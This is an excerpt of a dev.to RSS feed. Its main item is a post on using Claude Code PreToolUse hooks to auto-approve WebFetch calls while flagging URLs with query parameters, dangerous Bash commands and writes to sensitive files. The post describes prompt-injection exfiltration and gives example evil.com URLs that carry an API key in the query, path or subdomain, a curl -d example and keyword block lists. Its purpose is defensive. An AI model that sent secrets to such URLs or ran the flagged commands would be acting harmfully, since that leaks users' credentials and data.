      &lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;onAction&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;24 components are included: chart, table, stat, card, grid, tabs, form, button, callout, accordion, progress, badge, image, code-block, and more.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;mdocUI is alpha (0.6.x). The API is stabilizing. We're working on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vue, Svelte, and Solid renderers&lt;/li&gt;
&lt;li&gt;Vercel AI SDK useChat bridge&lt;/li&gt;
&lt;li&gt;Browser devtools for AST inspection&lt;/li&gt;
&lt;li&gt;VS Code extension for Markdoc-style tag syntax highlighting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Try the playground: &lt;a href="https://mdocui.vercel.app" rel="noopener noreferrer"&gt;https://mdocui.vercel.app&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/mdocui/mdocui" rel="noopener noreferrer"&gt;https://github.com/mdocui/mdocui&lt;/a&gt;&lt;br&gt;
Docs: &lt;a href="https://mdocui.github.io" rel="noopener noreferrer"&gt;https://mdocui.github.io&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Feedback, issues, and PRs welcome.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>react</category>
      <category>typescript</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Claude Code: Auto-Approve Tools While Keeping a Safety Net with Hooks</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Tue, 31 Mar 2026 06:48:59 +0000</pubDate>
      <link>https://dev.to/abhaygawade/claude-code-auto-approve-tools-while-keeping-a-safety-net-with-hooks-4839</link>
      <guid>https://dev.to/abhaygawade/claude-code-auto-approve-tools-while-keeping-a-safety-net-with-hooks-4839</guid>
      <description>&lt;p&gt;Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs page, you start wondering — can I just auto-allow this?&lt;/p&gt;

&lt;p&gt;You can. But there's a catch: &lt;strong&gt;WebFetch can send data in query parameters.&lt;/strong&gt; A prompt injection buried in a file could trick Claude into fetching &lt;code&gt;https://evil.com?secret=YOUR_API_KEY&lt;/code&gt;. Auto-approving everything means you'd never see it happen.&lt;/p&gt;

&lt;p&gt;Here's how I set up a middle ground: &lt;strong&gt;auto-allow clean URLs, but show a confirmation prompt when query parameters are present.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The naive approach (don't do this)
&lt;/h2&gt;

&lt;p&gt;You might think adding WebFetch to permissions is enough:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;~/.claude/settings.json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works — but it auto-allows &lt;em&gt;everything&lt;/em&gt;, including &lt;code&gt;https://evil.com?token=abc123&lt;/code&gt;. No safety net.&lt;/p&gt;

&lt;h2&gt;
  
  
  The hook approach (do this instead)
&lt;/h2&gt;

&lt;p&gt;Claude Code has a &lt;code&gt;PreToolUse&lt;/code&gt; hook system. A hook runs before every tool call and can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exit 0&lt;/strong&gt; — silently allow (no prompt)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exit 1&lt;/strong&gt; — show a message and ask for confirmation (approve/deny)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exit 2&lt;/strong&gt; — hard block (no option to proceed)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The hook receives the full tool call as JSON via &lt;strong&gt;stdin&lt;/strong&gt; — tool name, input parameters, session ID, everything.&lt;/p&gt;

&lt;p&gt;Here's the setup in &lt;code&gt;~/.claude/settings.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); print('URL has query params, review: '+url, file=sys.stderr) if '?' in url else None; sys.exit(1) if '?' in url else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"statusMessage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Checking WebFetch URL for query params..."&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. One hook, zero dependencies.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this does
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;Behavior&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://docs.python.org/3/library/json.html&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Auto-allowed, no prompt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://api.example.com/data?key=secret&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shows URL, asks you to approve or deny&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When a URL has query params, you'll see something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;URL has query params, review: https://api.example.com/data?key=secret
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And Claude Code pauses for your decision. If it's legitimate (like a search query or API docs with anchors), you approve. If it looks suspicious, you deny.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works under the hood
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;PreToolUse&lt;/code&gt; hook receives JSON on stdin with this structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"session_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"abc-123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hook_event_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tool_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tool_input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com/page?q=test"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"prompt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Summarize this page"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Python one-liner:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reads the JSON from stdin&lt;/li&gt;
&lt;li&gt;Extracts the URL from &lt;code&gt;tool_input.url&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Checks if &lt;code&gt;?&lt;/code&gt; is present&lt;/li&gt;
&lt;li&gt;Exits with 1 (ask) or 0 (allow)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Gotcha: &lt;code&gt;permissions.allow&lt;/code&gt; overrides hooks
&lt;/h2&gt;

&lt;p&gt;This tripped me up. If you add WebFetch to both &lt;code&gt;permissions.allow&lt;/code&gt; AND set up a hook:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The hook never fires.&lt;/strong&gt; &lt;code&gt;permissions.allow&lt;/code&gt; takes full precedence — the tool is approved before the hook even runs. Remove the permission rule and let the hook be the sole gatekeeper.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha: stdin, not environment variables
&lt;/h2&gt;

&lt;p&gt;Hook input comes via &lt;strong&gt;stdin&lt;/strong&gt;, not an environment variable. I initially tried &lt;code&gt;os.environ.get('ARGUMENTS')&lt;/code&gt; — it was empty. The correct approach is &lt;code&gt;json.load(sys.stdin)&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Going further
&lt;/h2&gt;

&lt;p&gt;You can apply this pattern to other tools too. Some ideas:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bash command guard&lt;/strong&gt; — ask before running destructive commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; cmd=json.load(sys.stdin).get('tool_input',{}).get('command',''); dangerous=any(w in cmd for w in ['rm -rf','drop table','--force','--hard']); print('Dangerous command: '+cmd, file=sys.stderr) if dangerous else None; sys.exit(1) if dangerous else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Write guard&lt;/strong&gt; — flag writes to sensitive paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Write"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; path=json.load(sys.stdin).get('tool_input',{}).get('file_path',''); sensitive=any(s in path for s in ['.env','.key','credentials','secret']); print('Writing to sensitive file: '+path, file=sys.stderr) if sensitive else None; sys.exit(1) if sensitive else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Caution: This is not bulletproof
&lt;/h2&gt;

&lt;p&gt;This hook catches the most common exfiltration vector — query parameters. But data can leak through other parts of a URL too:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path parameters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://evil.com/exfil/YOUR_API_KEY/done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Subdomains:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://YOUR_API_KEY.evil.com/callback
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fragment identifiers&lt;/strong&gt; (less risky since fragments aren't sent to servers, but still worth knowing):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://evil.com/page#secret=abc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;POST body via other tools&lt;/strong&gt; — if an attacker tricks Claude into using Bash with &lt;code&gt;curl -d "secret=xxx"&lt;/code&gt;, WebFetch hooks won't catch it at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  What you can do about it
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Allowlist known domains&lt;/strong&gt; — instead of checking for &lt;code&gt;?&lt;/code&gt;, flip the logic. Only auto-allow domains you trust, and ask for everything else:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; from urllib.parse import urlparse; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); host=urlparse(url).hostname or ''; trusted=['docs.python.org','developer.mozilla.org','github.com','stackoverflow.com']; is_trusted=any(host.endswith(d) for d in trusted); print('Unknown domain: '+url, file=sys.stderr) if not is_trusted else None; sys.exit(0 if is_trusted else 1)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Layer your defenses&lt;/strong&gt; — combine the query param hook with a domain allowlist. Use exit 0 for trusted domains with no params, exit 1 for trusted domains with params or unknown domains, and exit 2 for known-bad patterns.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Watch your Bash tool too&lt;/strong&gt; — add a separate hook for Bash that flags &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;wget&lt;/code&gt;, or &lt;code&gt;nc&lt;/code&gt; commands with suspicious arguments.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Review the URL every time you approve&lt;/strong&gt; — sounds obvious, but when you're in flow and approving prompts quickly, it's easy to glaze over. The whole point of exit code 1 is to make you pause. Actually pause.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Bottom line:&lt;/strong&gt; The hook in this article reduces your attack surface significantly — most prompt injection exfiltration uses query params because it's the easiest path. But no single check catches everything. Treat this as one layer, not the whole wall.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Don't use &lt;code&gt;permissions.allow&lt;/code&gt; for WebFetch — it bypasses all hooks&lt;/li&gt;
&lt;li&gt;Use a &lt;code&gt;PreToolUse&lt;/code&gt; hook that exits 0 (allow) or 1 (ask) based on the URL&lt;/li&gt;
&lt;li&gt;Hook input is JSON via &lt;strong&gt;stdin&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;~/.claude/settings.json&lt;/code&gt; makes it global across all projects&lt;/li&gt;
&lt;li&gt;Query param checks are a good start, but consider domain allowlisting for stronger protection&lt;/li&gt;
&lt;li&gt;Data can also leak via path params, subdomains, and Bash commands — layer your defenses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal isn't to block Claude from fetching URLs. It's to keep yourself in the loop when data might be leaving your machine. Two minutes of setup, permanent peace of mind — but stay vigilant.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you're using Claude Code daily, these small safety guardrails compound. Two minutes of config now saves you from a bad day later. Got a better hook setup? Drop it in the comments — let's build a community-maintained collection.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>claudecode</category>
      <category>ai</category>
      <category>security</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Setup your own Kubernetes Cluster with Kops and AWS Infrastructure</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Sun, 01 Mar 2020 06:26:59 +0000</pubDate>
      <link>https://dev.to/abhaygawade/setup-your-own-kubernetes-cluster-with-kops-and-aws-infrastructure-1li4</link>
      <guid>https://dev.to/abhaygawade/setup-your-own-kubernetes-cluster-with-kops-and-aws-infrastructure-1li4</guid>
      <description>&lt;p&gt;As you started reading this article, so I believe you must known What is kubernetes and AWS.&lt;/p&gt;

&lt;h1&gt;
  
  
  Pre-requisite configuration:
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;AWS Account → &lt;a href="https://portal.aws.amazon.com/billing/signup" rel="noopener noreferrer"&gt;https://portal.aws.amazon.com/billing/signup&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Kubectl (Kubernetes Command-lin Tool):&lt;br&gt;
Install Kubectl on your system → &lt;a href="https://kubernetes.io/docs/tasks/tools/install-kubectl/" rel="noopener noreferrer"&gt;https://kubernetes.io/docs/tasks/tools/install-kubectl/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;KOPS (Kubernetes Operations): &lt;br&gt;
Install Kops on your system, follow this official documentation → &lt;a href="https://github.com/kubernetes/kops#installing" rel="noopener noreferrer"&gt;https://github.com/kubernetes/kops#installing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Install AWS CLI and configure - &lt;a href="https://aws.amazon.com/cli/" rel="noopener noreferrer"&gt;https://aws.amazon.com/cli/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Verify installation by execcuting &lt;code&gt;aws --version&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You need to create new user on AWS. However you can use root user, but its not recommended at all.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open IAM console: &lt;a href="https://console.aws.amazon.com/iam/" rel="noopener noreferrer"&gt;https://console.aws.amazon.com/iam/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;In the navigation pane, choose &lt;strong&gt;Users&lt;/strong&gt; and then choose &lt;strong&gt;Add user&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Type user name for new user. I am using &lt;code&gt;kops&lt;/code&gt; as a username for simplicity&lt;/li&gt;
&lt;li&gt;Select type of access as &lt;strong&gt;Programmatic access&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;Choose Next for &lt;strong&gt;Permission&lt;/strong&gt; and give admin access to this user with  &lt;em&gt;AdministratorAccess&lt;/em&gt; Policy&lt;/li&gt;
&lt;li&gt;Choose next for &lt;strong&gt;Tags&lt;/strong&gt; and &lt;strong&gt;Review&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;This will creates an &lt;em&gt;Access Key ID&lt;/em&gt; and &lt;em&gt;Secret Access Key&lt;/em&gt;. Store them securely as You will not have access to the secret access key again after this step.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use command &lt;code&gt;aws configure&lt;/code&gt; and enter &lt;em&gt;Access Key ID&lt;/em&gt;, &lt;em&gt;Secret Access Key&lt;/em&gt; and &lt;em&gt;Default Region Name&lt;/em&gt; on prompt. I am using &lt;code&gt;ap-south-1&lt;/code&gt; which is Asia Pacific server at Mumbai. See list of aws regions &lt;a href="https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Deploying Kubernetes to AWS
&lt;/h1&gt;

